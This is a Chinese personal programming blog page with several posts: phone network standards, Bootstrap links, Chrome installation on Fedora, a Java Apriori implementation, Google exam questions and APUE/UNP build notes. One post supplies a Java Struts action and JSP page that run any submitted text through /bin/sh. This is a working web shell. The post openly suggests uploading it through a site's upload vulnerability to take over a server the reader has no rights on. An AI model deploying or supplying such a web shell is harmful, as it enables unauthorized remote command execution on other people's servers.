浅谈编程

2013年5月17日

手机网络制式常识

手机网络制式常识:
手机名称有GSM:表示只支持中国联通或者中国移动2G号段(130、131、132、134、135、136、137、138、139、145、147、150、151、152、155、156、157、158、159、182、183、185、186、187、188)
手机名称有CDMA:表示只支持中国电信2G号段(133、153、180、181、189)
手机名称有WCDMA/GSM:表示支持中国联通或者中国移动2G号段,以及中国联通3G号段(130、131、132、134、135、136、137、138、139、145、147、150、151、152、155、156、157、158、159、182、183、185、186、187、188),不支持移动3G业务,不支持电信卡。
手机名称有TD-SCDMA/GSM:表示支持中国联通或者中国移动2G号段,以及中国移动3G号段(130、131、132、134、135、136、137、138、139、145、147、150、151、152、155、156、157、158、159、182、183、185、186、187、188),不支持联通3G业务,不支持电信卡。
手机名称有CDMA2000/CDMA:表示支持中国电信2G号段,以及中国电信3G号段(133、153、180、181、189),不支持移动联通卡
手机名称有CDMA2000/GSM(双模双待):表示一张卡支持中国电信2G号段,以及中国电信3G号段(133、153、180、181、189),另一张卡支持中国移动或中国联通2G号段的语音和短信功能。

posted @ 2013-05-17 17:06 R&P 阅读(219) | 评论 (0)编辑 收藏

2013年4月19日

Mybatis 备忘录

https://code.google.com/p/mybatis/

posted @ 2013-04-19 22:44 R&P 阅读(289) | 评论 (0)编辑 收藏

2013年4月18日

Bootstrap相关开源项目推荐

<1>PreBoot
<2>jQuery.Pin
<3>Responsive Nav
<4>Bsie
<5>Messenger
<6>DateTime Picker
<7>jQuery UI Bootstrap
<8>Google Bootstrap
<9>Flat UI
<10>Metro UI CSS
<11>Font Awesome
<12>Simple Icons
<13>Bootstrap From Builder
<14>HTML5 Boilerplate
<13>Bootstrap From Builder
<14>HTML5 Boilerplate
<15>W3CPLUS
<16>Web Safe colors
<13>Bootstrap From Builder
<14>HTML5 Boilerplate
<17>Bootstrap v3.0版预览
<18>优秀网页设计联盟

posted @ 2013-04-18 09:34 R&P 阅读(491) | 评论 (0)编辑 收藏

2013年4月12日

如何用java调用linux shell命令?

如何在远程调用shell命令操作linux呢?如果你是有远程连接权限的话,那么可以使用putty来连接的,putty是基于ssh协议来连接 的,ssh的默认端口是22,但是一般即使一个服务器开启了ssh,那么也不可能是22端口,肯定是改动端口号的。但是如果你没有远程连接的权限呢?或者 是服务器根本就没有开启ssh呢?怎么办?

   一种方式是,如果你是在这个服务器上有自己的项目,那么好了,你就基本上拿到了权限了,如果你没有在这个服务器上有项目,那么可以检测一个网站是否有上传漏洞,如果有的话,可以将以下的代码上传上去,也同样可以拿到权限。

package action.fg;
  
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.PrintWriter;
  
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
  
import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;
import org.apache.struts.action.ActionForm;
import org.apache.struts.action.ActionForward;
import org.apache.struts.action.ActionMapping;
import org.apache.struts.action.DynaActionForm;
import org.apache.struts.actions.DispatchAction;
  
  
public class LinuxAction extends DispatchAction{
      
    private final  Log logger = LogFactory.getLog(this.getClass());
    public ActionForward ls_List(ActionMapping mapping, ActionForm form,
            HttpServletRequest req, HttpServletResponse res) throws Exception {
        PrintWriter out = res.getWriter();
        try{
            DynaActionForm letterForm = (DynaActionForm) form;
            String str=letterForm.getString("str");
            String listStr=callShell_ls(str);
            out.print(listStr);
        }catch(Exception e){
            e.printStackTrace();
            logger.info("ls_List error:"+e.getMessage());
        }
        return null;
    }
      
      
      
      public  String callShell_ls(String lsStr){
          StringBuffer sb = new StringBuffer();
          try {
              String[] cmd = new String[]{"/bin/sh", "-c", lsStr};
              logger.info("执行ING。。。。。"+cmd.toString());
              Process ps = Runtime.getRuntime().exec(cmd);
  
              BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream()));
                
              String line;
              while ((line = br.readLine()) != null) {
                 sb.append(line).append("<br/>");
              }
              logger.info("执行完成,字符串为:"+sb.toString());
              } catch (Exception e) {
                  e.printStackTrace();
                  logger.info("callShell_ls error:"+e.getMessage());
              }
        return sb.toString();
      }
        
        
      
      
      
        public ActionForward start(ActionMapping mapping, ActionForm form,
                HttpServletRequest req, HttpServletResponse res) throws Exception {
            PrintWriter out = res.getWriter();
            try{
                DynaActionForm letterForm = (DynaActionForm) form;
                callShell_ls("./start.sh");
                String listStr=callShell_ls("tail -f ./logs/catalina.out");
                out.print(listStr);
            }catch(Exception e){
                e.printStackTrace();
                logger.info("start error:"+e.getMessage());
            }
            return null;
        }
        public ActionForward stop(ActionMapping mapping, ActionForm form,
                HttpServletRequest req, HttpServletResponse res) throws Exception {
            PrintWriter out = res.getWriter();
            try{
                DynaActionForm letterForm = (DynaActionForm) form;
                callShell_ls("./stop.sh");
                String listStr=callShell_ls("tail -f ./logs/catalina.out");
                out.print(listStr);
            }catch(Exception e){
                e.printStackTrace();
                logger.info("stop error:"+e.getMessage());
            }
            return null;
        }
          
      
      
      
}
解下来就写一个页面来使用了。
<%@ page language="java" contentType="text/html; charset=UTF-8"  pageEncoding="UTF-8"%>
    <%@taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>ls</title>
<script type="text/javascript" src="<%=request.getContextPath()%>/js/jquery-1.4.2.min.js"></script>
<script type="text/javascript">
    function postShell(){
        var res=$("#resultDiv");
        var shell=$("#shellStr").val();
        if(shell==""){
            alert("不能为空"); 
        }else{
            $.ajax( {
                type : "POST",
                url : "linux.do",
                data : "method=ls_List&str="+shell,
                success : function(msg) {
                    res.html(msg);
                }
            })
        }
    }
</script>
</head>
<body>
    <div style="width:100%;height:100%;background-color:#eee;">
    <div style="float:left;width:700px;height:600px;overflow: auto;">
        <div style="width:700px;height:600px;overflow: auto;border:1px solid #ccc;background-color:#000;color:#fff;" id="resultDiv">
      
          
        </div>
    </div>
    <div style="float:left:width:400px;padding-top:100px;">
        <table>
        <tbody>
            <tr>
                <td>
                    <textarea rows="5" cols="50" id="shellStr"></textarea>
                </td>
            </tr>
            <tr>
                <td>
                    <input value="提交" type="button" onClick="postShell();" style="width:100px;height:30px;"/>
                </td>
            </tr>
        </tbody>
    </table>
    </div>
    </div>
</body>
</html>
然后你就可以使用shell命令了。

 

posted @ 2013-04-12 10:13 R&P 阅读(1570) | 评论 (0)编辑 收藏

2013年4月8日

fedora 17 命令行安装chrome

1.在 /etc/yum.repos.d/目录下添加google-chrome.repo文件
内容如下:
32-bit 
  1. [google-chrome]  
  2. name=google-chrome - 32-bit  
  3. baseurl=http://dl.google.com/linux/chrome/rpm/stable/i386  
  4. enabled=1  
  5. gpgcheck=1  
  6. gpgkey=https://dl-ssl.google.com/linux/linux_signing_key.pub  
64-bit

  1. [google-chrome]  
  2. name=google-chrome - 64-bit  
  3. baseurl=http://dl.google.com/linux/chrome/rpm/stable/x86_64  
  4. enabled=1  
  5. gpgcheck=1  
  6. gpgkey=https://dl-ssl.google.com/linux/linux_signing_key.pub  
2、安装
Install Google Chrome Stable Version

  1. ## Install Google Chrome Stable version ##  
  2. yum install google-chrome-stable  
Install Google Chrome Beta Version

  1. ## Install Google Chrome Beta version ##  
  2. yum install google-chrome-beta  

Install Google Chrome Unstable Version


  1. ## Install Google Chrome Unstable version ##  
  2. yum install google-chrome-unstable 

posted @ 2013-04-08 12:12 R&P 阅读(744) | 评论 (0)编辑 收藏

2012年10月31日

Apriori算法基本思想及实现

   Apriori算法的思想还是很容易理解的,实现起来虽然麻烦,但是还是比较容易的。

    下面是我使用Java语言实现的Apriori算法,实现了AprioriAlgorithm 类,包含了频繁项集的挖掘过程和频繁关联规则的挖掘过程。

    另外,有一个辅助类ProperSubsetCombination用于计算一个频繁项集的真子集,采用组合原理,基于数值编码原理实现的组合求解集合的真子集。

**************************************************************************

算法实现

**************************************************************************

(一)核心类

Apriori算法的核心实现类为AprioriAlgorithm,实现的Java代码如下所示:

import java.util.HashMap;
import java.util.HashSet;
import java.util.Iterator;
import java.util.Map;
import java.util.Set;
import java.util.TreeMap;


public class AprioriAlgorithm {

 private Map<Integer, Set<String>> txDatabase; // 事务数据库
 private Float minSup; // 最小支持度
 private Float minConf; // 最小置信度
 private Integer txDatabaseCount; // 事务数据库中的事务数

 private Map<Integer, Set<Set<String>>> freqItemSet; // 频繁项集集合
 private Map<Set<String>, Set<Set<String>>> assiciationRules; // 频繁关联规则集合

 public AprioriAlgorithm(Map<Integer, Set<String>> txDatabase, Float minSup,
   Float minConf) {
  this.txDatabase = txDatabase;
  this.minSup = minSup;
  this.minConf = minConf;
  this.txDatabaseCount = this.txDatabase.size();
  freqItemSet = new TreeMap<Integer, Set<Set<String>>>();
  assiciationRules = new HashMap<Set<String>, Set<Set<String>>>();
 }

 
 public Map<Set<String>, Float> getFreq1ItemSet() {
  Map<Set<String>, Float> freq1ItemSetMap = new HashMap<Set<String>, Float>();
  Map<Set<String>, Integer> candFreq1ItemSet = this.getCandFreq1ItemSet();
  Iterator<Map.Entry<Set<String>, Integer>> it = candFreq1ItemSet
    .entrySet().iterator();
  while (it.hasNext()) {
   Map.Entry<Set<String>, Integer> entry = it.next();
   // 计算支持度
   Float supported = new Float(entry.getValue().toString())
     / new Float(txDatabaseCount);
   if (supported >= minSup) {
    freq1ItemSetMap.put(entry.getKey(), supported);
   }
  }
  return freq1ItemSetMap;
 }

 
 public Map<Set<String>, Integer> getCandFreq1ItemSet() {
  Map<Set<String>, Integer> candFreq1ItemSetMap = new HashMap<Set<String>, Integer>();
  Iterator<Map.Entry<Integer, Set<String>>> it = txDatabase.entrySet()
    .iterator();
  // 统计支持数,生成候选频繁1-项集
  while (it.hasNext()) {
   Map.Entry<Integer, Set<String>> entry = it.next();
   Set<String> itemSet = entry.getValue();
   for (String item : itemSet) {
    Set<String> key = new HashSet<String>();
    key.add(item.trim());
    if (!candFreq1ItemSetMap.containsKey(key)) {
     Integer value = 1;
     candFreq1ItemSetMap.put(key, value);
    } else {
     Integer value = 1 + candFreq1ItemSetMap.get(key);
     candFreq1ItemSetMap.put(key, value);
    }
   }
  }
  return candFreq1ItemSetMap;
 }

 
 public Set<Set<String>> aprioriGen(int m, Set<Set<String>> freqMItemSet) {
  Set<Set<String>> candFreqKItemSet = new HashSet<Set<String>>();
  Iterator<Set<String>> it = freqMItemSet.iterator();
  Set<String> originalItemSet = null;
  while (it.hasNext()) {
   originalItemSet = it.next();
   Iterator<Set<String>> itr = this.getIterator(originalItemSet,
     freqMItemSet);
   while (itr.hasNext()) {
    Set<String> identicalSet = new HashSet<String>(); // 两个项集相同元素的集合(集合的交运算)
    identicalSet.addAll(originalItemSet);
    Set<String> set = itr.next();
    identicalSet.retainAll(set); // identicalSet中剩下的元素是identicalSet与set集合中公有的元素
    if (identicalSet.size() == m - 1) { // (k-1)-项集中k-2个相同
     Set<String> differentSet = new HashSet<String>(); // 两个项集不同元素的集合(集合的差运算)
     differentSet.addAll(originalItemSet);
     differentSet.removeAll(set); // 因为有k-2个相同,则differentSet中一定剩下一个元素,即differentSet大小为1
     differentSet.addAll(set); // 构造候选k-项集的一个元素(set大小为k-1,differentSet大小为k)
     candFreqKItemSet.add(differentSet); // 加入候选k-项集集合
    }
   }
  }
  return candFreqKItemSet;
 }

 
 private Iterator<Set<String>> getIterator(Set<String> itemSet,
   Set<Set<String>> freqKItemSet) {
  Iterator<Set<String>> it = freqKItemSet.iterator();
  while (it.hasNext()) {
   if (itemSet.equals(it.next())) {
    break;
   }
  }
  return it;
 }

 
 public Map<Set<String>, Float> getFreqKItemSet(int k,
   Set<Set<String>> freqMItemSet) {
  Map<Set<String>, Integer> candFreqKItemSetMap = new HashMap<Set<String>, Integer>();
  // 调用aprioriGen方法,得到候选频繁k-项集
  Set<Set<String>> candFreqKItemSet = this
    .aprioriGen(k - 1, freqMItemSet);

  // 扫描事务数据库
  Iterator<Map.Entry<Integer, Set<String>>> it = txDatabase.entrySet()
    .iterator();
  // 统计支持数
  while (it.hasNext()) {
   Map.Entry<Integer, Set<String>> entry = it.next();
   Iterator<Set<String>> kit = candFreqKItemSet.iterator();
   while (kit.hasNext()) {
    Set<String> kSet = kit.next();
    Set<String> set = new HashSet<String>();
    set.addAll(kSet);
    set.removeAll(entry.getValue()); // 候选频繁k-项集与事务数据库中元素做差元算
    if (set.isEmpty()) { // 如果拷贝set为空,支持数加1
     if (candFreqKItemSetMap.get(kSet) == null) {
      Integer value = 1;
      candFreqKItemSetMap.put(kSet, value);
     } else {
      Integer value = 1 + candFreqKItemSetMap.get(kSet);
      candFreqKItemSetMap.put(kSet, value);
     }
    }
   }
  }
  // 计算支持度,生成频繁k-项集,并返回
  return support(candFreqKItemSetMap);
 }

 
 public Map<Set<String>, Float> support(
   Map<Set<String>, Integer> candFreqKItemSetMap) {
  Map<Set<String>, Float> freqKItemSetMap = new HashMap<Set<String>, Float>();
  Iterator<Map.Entry<Set<String>, Integer>> it = candFreqKItemSetMap
    .entrySet().iterator();
  while (it.hasNext()) {
   Map.Entry<Set<String>, Integer> entry = it.next();
   // 计算支持度
   Float supportRate = new Float(entry.getValue().toString())
     / new Float(txDatabaseCount);
   if (supportRate < minSup) { // 如果不满足最小支持度,删除
    it.remove();
   } else {
    freqKItemSetMap.put(entry.getKey(), supportRate);
   }
  }
  return freqKItemSetMap;
 }

 
 public void mineFreqItemSet() {
  // 计算频繁1-项集
  Set<Set<String>> freqKItemSet = this.getFreq1ItemSet().keySet();
  freqItemSet.put(1, freqKItemSet);
  // 计算频繁k-项集(k>1)
  int k = 2;
  while (true) {
   Map<Set<String>, Float> freqKItemSetMap = this.getFreqKItemSet(k,
     freqKItemSet);
   if (!freqKItemSetMap.isEmpty()) {
    this.freqItemSet.put(k, freqKItemSetMap.keySet());
    freqKItemSet = freqKItemSetMap.keySet();
   } else {
    break;
   }
   k++;
  }
 }

 
 public void mineAssociationRules() {
  freqItemSet.remove(1); // 删除频繁1-项集
  Iterator<Map.Entry<Integer, Set<Set<String>>>> it = freqItemSet
    .entrySet().iterator();
  while (it.hasNext()) {
   Map.Entry<Integer, Set<Set<String>>> entry = it.next();
   for (Set<String> itemSet : entry.getValue()) {
    // 对每个频繁项集进行关联规则的挖掘
    mine(itemSet);
   }
  }
 }

 
 public void mine(Set<String> itemSet) {
  int n = itemSet.size() / 2; // 根据集合的对称性,只需要得到一半的真子集
  for (int i = 1; i <= n; i++) {
   // 得到频繁项集元素itemSet的作为条件的真子集集合
   Set<Set<String>> properSubset = ProperSubsetCombination
     .getProperSubset(i, itemSet);
   // 对条件的真子集集合中的每个条件项集,获取到对应的结论项集,从而进一步挖掘频繁关联规则
   for (Set<String> conditionSet : properSubset) {
    Set<String> conclusionSet = new HashSet<String>();
    conclusionSet.addAll(itemSet);
    conclusionSet.removeAll(conditionSet); // 删除条件中存在的频繁项
    confide(conditionSet, conclusionSet); // 调用计算置信度的方法,并且挖掘出频繁关联规则
   }
  }
 }

 
 public void confide(Set<String> conditionSet, Set<String> conclusionSet) {
  // 扫描事务数据库
  Iterator<Map.Entry<Integer, Set<String>>> it = txDatabase.entrySet()
    .iterator();
  // 统计关联规则支持计数
  int conditionToConclusionCnt = 0; // 关联规则(条件项集推出结论项集)计数
  int conclusionToConditionCnt = 0; // 关联规则(结论项集推出条件项集)计数
  int supCnt = 0; // 关联规则支持计数
  while (it.hasNext()) {
   Map.Entry<Integer, Set<String>> entry = it.next();
   Set<String> txSet = entry.getValue();
   Set<String> set1 = new HashSet<String>();
   Set<String> set2 = new HashSet<String>();
   set1.addAll(conditionSet);

   set1.removeAll(txSet); // 集合差运算:set-txSet
   if (set1.isEmpty()) { // 如果set为空,说明事务数据库中包含条件频繁项conditionSet
    // 计数
    conditionToConclusionCnt++;
   }
   set2.addAll(conclusionSet);
   set2.removeAll(txSet); // 集合差运算:set-txSet
   if (set2.isEmpty()) { // 如果set为空,说明事务数据库中包含结论频繁项conclusionSet
    // 计数
    conclusionToConditionCnt++;

   }
   if (set1.isEmpty() && set2.isEmpty()) {
    supCnt++;
   }
  }
  // 计算置信度
  Float conditionToConclusionConf = new Float(supCnt)
    / new Float(conditionToConclusionCnt);
  if (conditionToConclusionConf >= minConf) {
   if (assiciationRules.get(conditionSet) == null) { // 如果不存在以该条件频繁项集为条件的关联规则
    Set<Set<String>> conclusionSetSet = new HashSet<Set<String>>();
    conclusionSetSet.add(conclusionSet);
    assiciationRules.put(conditionSet, conclusionSetSet);
   } else {
    assiciationRules.get(conditionSet).add(conclusionSet);
   }
  }
  Float conclusionToConditionConf = new Float(supCnt)
    / new Float(conclusionToConditionCnt);
  if (conclusionToConditionConf >= minConf) {
   if (assiciationRules.get(conclusionSet) == null) { // 如果不存在以该结论频繁项集为条件的关联规则
    Set<Set<String>> conclusionSetSet = new HashSet<Set<String>>();
    conclusionSetSet.add(conditionSet);
    assiciationRules.put(conclusionSet, conclusionSetSet);
   } else {
    assiciationRules.get(conclusionSet).add(conditionSet);
   }
  }
 }

 
 public Map<Integer, Set<Set<String>>> getFreqItemSet() {
  return freqItemSet;
 }

 
 public Map<Set<String>, Set<Set<String>>> getAssiciationRules() {
  return assiciationRules;
 }
}

(二)辅助类

ProperSubsetCombination类是一个辅助类,在挖掘频繁关联规则的过程中,用于生成一个频繁项集元素的非空真子集,实现如下:

import java.util.BitSet;
import java.util.HashSet;
import java.util.Set;


public class ProperSubsetCombination {

private static String[] array;
private static BitSet startBitSet; // 比特集合起始状态
private static BitSet endBitSet; // 比特集合终止状态,用来控制循环
private static Set<Set<String>> properSubset; // 真子集集合


public static Set<Set<String>> getProperSubset(int n, Set<String> itemSet) {
   String[] array = new String[itemSet.size()];
   ProperSubsetCombination.array = itemSet.toArray(array);
   properSubset = new HashSet<Set<String>>();
   startBitSet = new BitSet();
   endBitSet = new BitSet();

   // 初始化startBitSet,左侧占满1
   for (int i=0; i<n; i++) {
    startBitSet.set(i, true);
   }

   // 初始化endBit,右侧占满1
   for (int i=array.length-1; i>=array.length-n; i--) {
    endBitSet.set(i, true);
   }
 
   // 根据起始startBitSet,将一个组合加入到真子集集合中
   get(startBitSet);  
 
   while(!startBitSet.equals(endBitSet)) {
    int zeroCount = 0; // 统计遇到10后,左边0的个数
    int oneCount = 0; // 统计遇到10后,左边1的个数
    int pos = 0; // 记录当前遇到10的索引位置
  
    // 遍历startBitSet来确定10出现的位置
    for (int i=0; i<array.length; i++) {
     if (!startBitSet.get(i)) {
      zeroCount++;
     }
     if (startBitSet.get(i) && !startBitSet.get(i+1)) {
      pos = i;
      oneCount = i - zeroCount;
      // 将10变为01
      startBitSet.set(i, false);
      startBitSet.set(i+1, true);
      break;
     }
    }
    // 将遇到10后,左侧的1全部移动到最左侧
    int counter = Math.min(zeroCount, oneCount);
    int startIndex = 0;
    int endIndex = 0;
    if(pos>1 && counter>0) {
     pos--;
     endIndex = pos;
     for (int i=0; i<counter; i++) {
      startBitSet.set(startIndex, true);
      startBitSet.set(endIndex, false);
      startIndex = i+1;
      pos--;
      if(pos>0) {
       endIndex = pos;
      }
     }
    }
    get(startBitSet);
   } 
   return properSubset;
}


private static void get(BitSet bitSet) {
   Set<String> set = new HashSet<String>();
   for(int i=0; i<array.length; i++) {
    if(bitSet.get(i)) {
     set.add(array[i]);
    }
   }
   properSubset.add(set);
}
}

测试用例

对上述Apriori算法的实现进行了简单的测试,测试用例如下所示:

import java.util.HashMap;
import java.util.Map;
import java.util.Set;
import java.util.TreeSet;

public class TestAprioriAlgorithm {
 public static void main(String[] args) {
//  构造模拟事务数据库txDatabase
  Map<Integer, Set<String>> txDatabase;
  txDatabase = new HashMap<Integer, Set<String>>();
  Set<String> set1 = new TreeSet<String>();
  set1.add("通信");
  set1.add("大一上");
  set1.add("高等数学");
  txDatabase.put(1, set1);
  Set<String> set2 = new TreeSet<String>();
  set2.add("通信");
  set2.add("大一上");
  set2.add("高等数学");
  txDatabase.put(2, set2);
  Set<String> set3 = new TreeSet<String>();
  set3.add("通信");
  set3.add("大一上");
  set3.add("高等数学");
  txDatabase.put(3, set3);
  Set<String> set4 = new TreeSet<String>();
  set4.add("通信");
  set4.add("大一上");
  set4.add("高等数学");
  txDatabase.put(4, set4);
 
  Float minSup = new Float("0.50");
  Float minConf = new Float("0.70");
 
  AprioriAlgorithm apriori = new AprioriAlgorithm(txDatabase, minSup, minConf);
 
  System.out.println("挖掘频繁1-项集 : " + apriori.getFreq1ItemSet());
  System.out.println("候选频繁2-项集 :"+ apriori.aprioriGen(1, apriori.getFreq1ItemSet().keySet()));
  System.out.println("挖掘频繁2-项集 :"+ apriori.getFreqKItemSet(2, apriori.getFreq1ItemSet().keySet()));
  System.out.println("挖掘频繁3-项集 :"+ apriori.getFreqKItemSet(3, apriori.getFreqKItemSet(2, apriori.getFreq1ItemSet().keySet()).keySet()));
  apriori.mineFreqItemSet(); // 挖掘频繁项集
  System.out.println("挖掘频繁项集 :" + apriori.getFreqItemSet());
  apriori.mineFreqItemSet(); // 挖掘频繁项集
  apriori.mineAssociationRules();
  System.out.println("挖掘频繁关联规则 :" + apriori.getAssiciationRules());
 }
}

posted @ 2012-10-31 16:10 R&P 阅读(1116) | 评论 (0)编辑 收藏

2012年10月26日

2012年10月15日 Google笔试

1 单项选择题

1.1如果把传输速率定义为单位时间内传送的信息量(以字节计算)多少。关于一下几种典型的数据传输速率:

1.使用USB2.0闪存盘,往USB闪存盘上拷贝文件的数据传输速率

2.使用100M以太网,在局域网内拷贝大文件时网络上的数据传输速率

3.使用一辆卡车拉1000块单块1TB装满数据的硬盘,以100km/h的速度从上海到天津(100km)一趟所等价的数据传输宽带

4.使用电脑播放MP3,电脑的pci总线到声卡的数据传输速率

在通常情况下,关于这几个传输速率的排序正确的是:

A. 4<1<2<3

B. 1<4<2<3

C.4<1<3<2

D.1<4<3<2

MP3256kbps码率下也平均只有1分钟2MB0.3Mbps,最慢;卡车拉硬盘,1000x1000x8/3600=2222Mbps,这个乃神速啊;100M以太网的速率就是100Mbps;选A

1.2.#define SUB(x,y) x-y

#define ACCESS_BEFORE(element,offset,value) *SUB(&element, offset) =value

int main(){

int array[10]= {1,2,3,4,5,6,7,8,9,10};

int i;

ACCESS_BEFORE(array[5], 4, 6);

printf("array: ");

for (i=0; i<10; ++i){

printf("%d", array[i]);

}

printf("\n");

return (0);

}

A.array: 1 6 3 4 5 6 7 8 9 10

B.array: 6 2 3 4 5 6 7 8 9 10

C.程序可以正确编译连接,但是运行时会崩溃

D.程序语法错误,编译不成功

运行后,发现语法错误。。。选D

1.3 在区间[-2, 2]里任取两个实数,它们的和>1的概率是:

A.3/8

B.3/16

C.9/32

D.9/64

1.4 小组赛,每个小组有5支队伍,互相之间打单循环赛,胜一场3分,平一场1分,输一场不得分,小组前三名出线平分抽签。问一个队最少拿几分就有理论上的出线希望:

A.1

B.2

C.3

D.4

1.5用二进制来编码字符串“abcdabaa,需要能够根据编码,解码回原来的字符串,最少需要多长的二进制字符串?

A.12

B.14

C.18

D.24

1.6 10个相同的糖果,分给三个人,每个人至少要得一个。有多少种不同分法

A.33 B.34C.35D.36

1.7 下列程序段,循环体执行次数是:

y=2

while(y<=8)

y=y+y;

A.2

B.16

C.4

D.3

1.8下面哪种机制可以用来进行进程间通信?

A.Socket B.PIPEC.SHARED MEMORYD.以上皆可

1.9 下列关于编程优化的说法正确的是:

A. 使用编译器的优化选项后程序性能一定会获得提高

B. 循环展开得越多越彻底,程序的性能越好

C. 寄存器分配能够解决程序中的数据依赖问题

D. 现代主流C/C++编译器可以对简单的小函数进行自动Iinline

1.10 一下程序是用来计算两个非负数之间的最大公约数:

long long gcd(long long x, long long y){

if( y==0) return 0;

else return gcd (y, x%y);

}

我们假设x,y中最大的那个数的长度为n,基本运算时间复杂度为O1),那么该程序的时间复杂度为:

A.O(1)

B.O(logn)

C.O(n)

D.O(n^2)

 

2 程序设计与算法(2.1,2.2为编程题,2.3为算法设计题,只需设计思路和关键步骤伪代码)

2.1 写函数,输出前n个素数。函数原型:void print_prime(int N); 不需要考虑整数溢出问题,也不许使用大数处理算法。

 

2.2 长度为n的数组乱序存放着0n-1. 现在只能进行0与其他书的swap,请设计并实现排序( 必须采用交换实现)。

 

2.3 给定一个原串和目标串,能对原串进行如下操作:

1 在给定位置插入一个字符

2 替换任意字符

3 删除任意字符

要求写一个程序,返回最少的操作数,使得原串进行这些操作后等于目标串。原串和目标串长度都小于2000.

posted @ 2012-10-26 17:36 R&P 阅读(288) | 评论 (0)编辑 收藏

2012年10月22日

UNIX环境高级编程中的apue.h错误

最近在读 Richard Stevens 的大作《UNIX环境高级编程》,相信很多初读此书的人都会与我一样遇到这个问题,编译书中的程序实例时会出现问题,提示 “错误:apue.h:没有那个文件或目录”。

apue.h 是作者自定义的一个头文件,并不是Unix/Linux系统自带的,此头文件包括了Unix程序所需的常用头文件及作者Richard自己写的出错处理函数。所以在默认情况下,gcc在编译时是读不到这个头文件的。

先在这个网站 http://www.apuebook.com/src.tar.gz 下载tar.gz格式的源码包,然后解压至某个目录,比如说/home/godsoul/下,然后进入目录apue.2e,把文件 Make.defines.linux 中的 WKDIR=/home/xxx/apue.2e 修改为 WKDIR=/home/godsoul/apue.2e ,然后再进入apue.2e目录下的std目录,打开linux.mk,将里面的nawk全部替换为awk,如果是用的vi/vim编辑器,可以使用这个 命令  :1.$s/nawk/awk/g (注意前面有冒号)
然后在此目录下运行make命令,即回到 /home/godsoul/apue.2e 目录在终端中输入 “./make” (不含引号)

然后把 /home/godsoul/apue.2e/inlcude 目录下的 apue.h 文件和位于 /home/godsoul/apue.2e/lib 目录下的 error.c 文件都复制到 /usr/include 目录下,apue.2e/lib/libapue.a 到/usr/lib/和 /usr/lib64下。注意复制这文件你需要有root权限。之所以要这样做,是因为gcc在链接头文件时会到 /usr/include 这个目录下寻找需要的头文件,若找不到则报错。

最终还要编辑一下复制过来的 apue.h 文件
在最后一行 #endif 前面添加一行 #include “error.c”

然后进入apue.2e/std 目录,编辑linux.mk。修改里面所有的nawk为awk。

这样就不会报错了。

还又可能遇到的问题如下:

如果出现stropts.h找不到的情况,则下载glibc-2.11,解压缩
cp ./glibc-2.11/streams/stropts.h /usr/include
cp ./glibc-2.11/bits/stropts.h /usr/include/bits
cp ./glibc-2.11/sysdeps/x86_64/bits/xtitypes.h /usr/include/bits

在我的机器上编译时,提示ARG_MAX未定义,可以这么修改。
在apue.2e/include/apue.h中添加一行:
#define ARG_MAX 4096
打开apue.2e/threadctl/getenv1.c 和apue.2e/threadctl/getenv3.c,添加一行:
#include “apue.h”

改好后make clean再重新make

2. 使用apue.h文件和libapue.a库。
假定/tmp下有一个文件:threadid.c,内容如下(apue线程章节的例子):
#include <apue.h>
#include <pthread.h>

pthread_t ntid;

void
printids(const char *s)
{
pid_t           pid;
pthread_t       tid;

pid = getpid();
tid = pthread_self();
printf(“%s pid %u tid %u (0x%x)\n”, s, (unsigned int)pid,
(unsigned int)tid, (unsigned int)tid);
}

void *
thr_fn(void *arg)
{
printids(“new thread: “);
return((void *)0);
}

int
main(void)
{
int             err;

err = pthread_create(&ntid, NULL, thr_fn, NULL);
if (err != 0)
err_quit(“can’t create thread: %s\n”, strerror(err));
printids(“main thread:”);
sleep(1);
exit(0);
}

使用如下命令编译:
cc -o threadid threadid.c -lapue -lpthread
可以运行一下:
dan@dan-laptop:/tmp$ ./threadid
new thread:  pid 17490 tid 816015696 (0x30a36950)
main thread: pid 17490 tid 823949040 (0x311c76f0)

3. 编译《UNP》
这个稍微麻烦些。

http://www.unpbook.com/unpv13e.tar.gz

我们首先产生一个目录,以后自己的代码就敲在这个目录里。
mkdir /home/dan/study/unp

仍然是下载到/home/dan/download/,解压缩,进入目录
cd /home/dan/download/unpv13e/
README文件中说的很详细:
========================================
Execute the following from the src/ directory:

./configure    # try to figure out all implementation differences

cd lib         # build the basic library that all programs need
make           # use “gmake” everywhere on BSD/OS systems

cd ../libfree  # continue building the basic library
make

cd ../libroute # only if your system supports 4.4BSD style routing sockets
make           # only if your system supports 4.4BSD style routing sockets

cd ../libxti   # only if your system supports XTI
make           # only if your system supports XTI

cd ../intro    # build and test a basic client program
make daytimetcpcli
========================================
这里只编译lib下的文件,这样可以产生libunp.a,复制这个静态库到/usr/lib/和/usr/lib64/
如果提示:
unp.h:139: error: conflicting types for ‘socklen_t’
/usr/include/bits/socket.h:35: error: previous declaration of ‘socklen_t’ was here
需要注释掉当前目录中unp.h的第139行。
复制libunp.a到系统目录:
root@dan-laptop:/home/dan/download/unpv13e/lib# cp ../libunp.a /usr/lib
root@dan-laptop:/home/dan/download/unpv13e/lib# cp ../libunp.a /usr/lib64/

4.使用unp.h和libunp.a
如果直接复制unpv13e/lib/unp.h到/usr/include,那么在别的目录编译书上代码时,很可会得到类似下面的错误:
In file included from daytimetcpsrv1.c:1:
/usr/include/unp.h:227: error: redefinition of ‘struct sockaddr_storage’
In file included from daytimetcpsrv1.c:1:
/usr/include/unp.h:249:30: error: ../lib/addrinfo.h: No such file or directory
/usr/include/unp.h:263: error: redefinition of ‘struct timespec’
/usr/include/unp.h:363: error: conflicting types for ‘gai_strerror’
/usr/include/netdb.h:647: error: previous declaration of ‘gai_strerror’ was here
/usr/include/unp.h:367: error: conflicting types for ‘getnameinfo’
/usr/include/netdb.h:653: error: previous declaration of ‘getnameinfo’ was here
/usr/include/unp.h:371: error: conflicting types for ‘gethostname’
/usr/include/unistd.h:857: error: previous declaration of ‘gethostname’ was here
/usr/include/unp.h:387: error: conflicting types for ‘inet_ntop’
/usr/include/arpa/inet.h:65: error: previous declaration of ‘inet_ntop’ was here
/usr/include/unp.h:395: error: conflicting types for ‘pselect’
